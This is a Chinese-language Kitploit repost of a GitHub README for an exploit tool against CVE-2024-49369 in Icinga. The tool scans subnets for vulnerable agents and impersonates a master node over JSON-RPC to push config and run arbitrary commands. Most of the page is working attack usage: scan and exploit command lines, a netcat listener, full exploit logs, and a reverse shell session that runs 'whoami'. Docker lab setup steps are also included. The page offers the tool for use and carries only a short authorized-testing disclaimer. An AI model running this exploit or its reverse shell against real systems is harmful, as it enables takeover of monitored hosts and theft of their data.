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CVE-2024-49369 — CVE-2024-49369 在 Icinga 中的漏洞利用工具，支持子网扫描、通过 JSON-RPC 冒充实现代理接管、任意命令执行以及反弹 Shell。 | Kitploit
工具/GitHubGitHub/quantum-sicarius/cve-2024-49369
漏洞利用信息收集网络安全渗透测试命令与控制远程访问工具
GitHubquantum-sicarius/cve-2024-49369

CVE-2024-49369

CVE-2024-49369 在 Icinga 中的漏洞利用工具，支持子网扫描、通过 JSON-RPC 冒充实现代理接管、任意命令执行以及反弹 Shell。

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CVE-2024-49369

概述

该漏洞利用 Icinga JSON-RPC 协议，针对运行 Icinga agent 的被监控节点进行利用。通过伪装成 Master/Satellite 实例，攻击者有可能接管 agent、执行任意命令或获取敏感信息。

如何使用

扫描

要扫描子网中易受攻击的 agent，请运行以下命令：

root@kitploit:~
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25

该工具将以每批 25 个 IP 的方式扫描指定子网。它通过 JSON-RPC 协议发送 Icinga::HELLO 消息，并识别响应的 agent 及其版本。

利用

如果端点上启用了配置和命令执行（运行 Icinga agent 的监控节点的默认设置），攻击者可以：

  1. 伪装成 Master/Satellite 实例。
  2. 更新端点配置。
  3. 在端点上执行任意命令。

这可能导致完全系统入侵（取决于服务用户）或受限访问。

先决条件

  • 网络中断或目标重启：Icinga agent 会自动拒绝来自同一 Master/Satellite 实例的新连接，直到现有连接被切断。

当父节点仍然连接时，漏洞利用连接在日志中会如下所示：

root@kitploit:~
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.

我们可以看到该节点容易受到攻击，因为集群的警告被触发，这意味着当前 satellite 仍然已连接，但该 agent 将我们视为有效的父节点。

步骤

  1. 启动一个 Netcat 监听器用于反向 shell：

    root@kitploit:~
    nc -lvnp 9001

  2. 启动利用程序：

    root@kitploit:~
    python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
    • --host：目标 agent 的 IP 地址。
    • --node-cn：要伪装的 Master/Satellite 的通用名称。
    • --zone：目标区域名称。默认为 master。
    • --revip：攻击者的 IP 地址，用于反向 shell。
    • --revport：攻击者的端口，用于反向 shell。

该命令会发起重复的连接尝试。一旦目标 agent 与其当前父节点断开连接，该工具便会接管，发送和接收检查。

示例 Payload

该工具使用一个基于 Perl 的反向 shell 作为其创建的新检查的一部分。

信息泄露

即使目标上禁用了配置和命令执行，攻击者仍可能通过观察发送给 agent 的检查结果来获取敏感数据。

示例响应数据

root@kitploit:~
{
  "jsonrpc": "2.0",
  "method": "config::UpdateObject",
  "params": {
    "config": "object Downtime ...",
    "name": "icinga-agent!load!9856e6b2...",
    "type": "Downtime",
    "version": 1733899523.67197
  }
}
root@kitploit:~
{
  "jsonrpc": "2.0",
  "method": "event::SetLastCheckStarted",
  "params": {
    "host": "icinga-agent",
    "last_check_started": 1733899492.313578,
    "service": "icinga"
  },
  "ts": 1733899492.313714
}

这些响应可能泄露敏感配置、调度数据，甚至被监控服务的结果。

影响

在 Censys 上目前有 24,003 个主机暴露了 Icinga 端口。抽查表明，大多数主机仍在运行易受攻击的 Icinga 版本。

鸣谢

本研究基于 Icinga 博客 中讨论的工作。

注意事项

  • 请始终负责任地使用此工具，且仅限于授权的安全测试范围内。
  • 漏洞利用可能带来严重后果。使用前请确认拥有合法权限。

Docker

Build

root@kitploit:~
docker build -f Dockerfile -t icinga-exploit .

Run Exploit

root@kitploit:~
docker run -it icinga-exploit exploit --host my_icinga_agent_with_satellite --revip 192.168.0.1 --revport 9001 --node-cn my_satellite --zone master
...+...+.......+......+.....+...+.......+............+..+...+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*........+......+.+...............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.+.....+...+.+.....+...+.+...........+....+.........+...+........+.+......+...+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.........+............+.....+....+.....+.........+.+.........+...+........+....+.................+....+......+...........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*.....+....+..+.......+......+...........+...+...+...+.+......+..+...+...+....+...+...............+.....+...+.+......+............+..+....+.....+......+...+............+....+.........+.....+.+..+....+...+.................+.+...+.....+.......+..+...+...+....+.................+......+....+...+............+......+..................+.....+.........+.+..+....+......+..............+....+.........+...............+..+....+.........+..................+..+.............+............+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
.+.........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*......+...+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*..+.+.....+...+......+................+.....+.........+.........+....+...........+....+..+....+.....+.+......+........+.+...+..+.+..................+.....+.........+...+...................+........+.+..+...+.+...+..+....+.....+......+.+.................+..........+...+.....+.......+..+.+..+.+..+.......+........+...+.+..............+...............+.......+..+.+.....+.........+...+.........+....+.....+............+.........+....+.....+....+...+............+...+..............+...+.+.........+........+..........+.....+...+....+..+.+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.......+...............+......+...+..+.............+......+..+...+.+.....+.........+..........+..+.......+...+.....+...+......+.+........+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*...+.........+.+............+..+.......+...........+...+.+......+...+...........+.+.........+.........+..+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*....+..........+.....+....+.....+......+...+.......+...+..+..........+..............+....+.....+.+.....................+............+...+...+.........+......+.....+....+............+.....+..................+...+...+.........+......+.......+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
-----
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:[('SSL routines', '', 'shutdown while in init')]
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925296.124675, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925296.124675}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(-1, 'Unexpected EOF')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925305.051298, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925305.051298}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Connection closed by server, this usually indicates that there is a satellite/master already connected. Retrying...
INFO:root:(104, 'ECONNRESET')
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::ExecutedCommand', 'params': {'end': 1733925313.881199, 'execution': 'unique-execution-id', 'exit': 3, 'host': 'my_icinga_agent_with_satellite', 'output': "Check command 'icinga_exploit' does not exist.", 'service': 'icinga_exploit', 'start': 1733925313.881199}}
INFO:root:Received ExecutedCommand
INFO:root:Sending config update
INFO:root:Connected to endpoint: my_icinga_agent_with_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'icinga::Hello', 'params': {'capabilities': 1, 'version': 21302}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'pki::RequestCertificate', 'params': {'ticket': ''}}
INFO:root:Received RequestCertificate
Certificate request self-signature ok
subject=CN = my_satellite
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::SetLastCheckStarted', 'params': {'host': 'localhost', 'last_check_started': 1733925340.30785, 'service': 'icinga_exploit'}, 'ts': 1733925340.307906}
INFO:root:Response JSON: {'jsonrpc': '2.0', 'method': 'event::Heartbeat', 'params': {}}

此时反向 shell 处于活动状态：

root@kitploit:~
nc -lvnp 9001                                                                                                                                                            
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.225.12.77.
Ncat: Connection from 10.225.12.77:40404.
sh: cannot set terminal process group (-1): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ whoami
whoami
icinga
sh-4.4$

本地 Icinga master 测试

root@kitploit:~
# run the vulnerable master node
docker run --rm --hostname icinga_master --name icinga_master -p 5665:5665 -e ICINGA_MASTER=1 -e ICINGA_ACCEPT_CONFIG=1 -e ICINGA_ACCEPT_COMMANDS=1 icinga/icinga2:2.14.2

# exploit it
python3 main.py exploit --host 127.0.0.1 --node-cn icinga_master --zone master --revip <IP> --revport <PORT>

本地 Icinga agent 测试

创建一个随机的新 CA 和证书

root@kitploit:~
mkdir /tmp/icinga_poc_certs

cd /tmp/icinga_poc_certs/
openssl genrsa -out /tmp/icinga_poc_certs/icinga-agent.key 2048
openssl req -new -key /tmp/icinga_poc_certs/icinga-agent.key -out /tmp/icinga_poc_certs/icinga-agent.csr \
    -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-agent"
openssl genrsa -out /tmp/icinga_poc_certs/icinga-ca.key 2048
openssl req -x509 -new -nodes -key /tmp/icinga_poc_certs/icinga-ca.key -sha256 -days 3650 \
    -subj "/C=US/ST=YourState/L=YourCity/O=YourOrganization/CN=icinga-ca" \
    -out /tmp/icinga_poc_certs/icinga-ca.crt
openssl x509 -req -in icinga-agent.csr -CA /tmp/icinga_poc_certs/icinga-ca.crt -CAkey /tmp/icinga_poc_certs/icinga-ca.key -CAcreateserial -out /tmp/icinga_poc_certs/icinga-agent.crt -days 3650 -sha256
mkdir -p icinga-agent/var/lib/icinga2/certs/
cp /tmp/icinga_poc_certs/icinga-agent.crt icinga-agent/var/lib/icinga2/certs/icinga-agent.crt
cp /tmp/icinga_poc_certs/icinga-ca.crt icinga-agent/var/lib/icinga2/certs/ca.crt

docker run --rm \
    -p 5665:5665 \
	-h icinga-agent \
	-v ./icinga-agent:/data:z \
	-e ICINGA_ZONE=icinga-agent \
	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
    -e ICINGA_ACCEPT_CONFIG=1 \
	icinga/icinga2:2.14.2  icinga2 feature enable debuglog

docker run --rm \
    -p 5665:5665 \
	-h icinga-agent \
	-v ./icinga-agent:/data:z \
	-e ICINGA_ZONE=icinga-agent \
	-e ICINGA_ENDPOINT=icinga-master,icinga-master,5665 \
    -e ICINGA_ACCEPT_CONFIG=1 \
	icinga/icinga2:2.14.2
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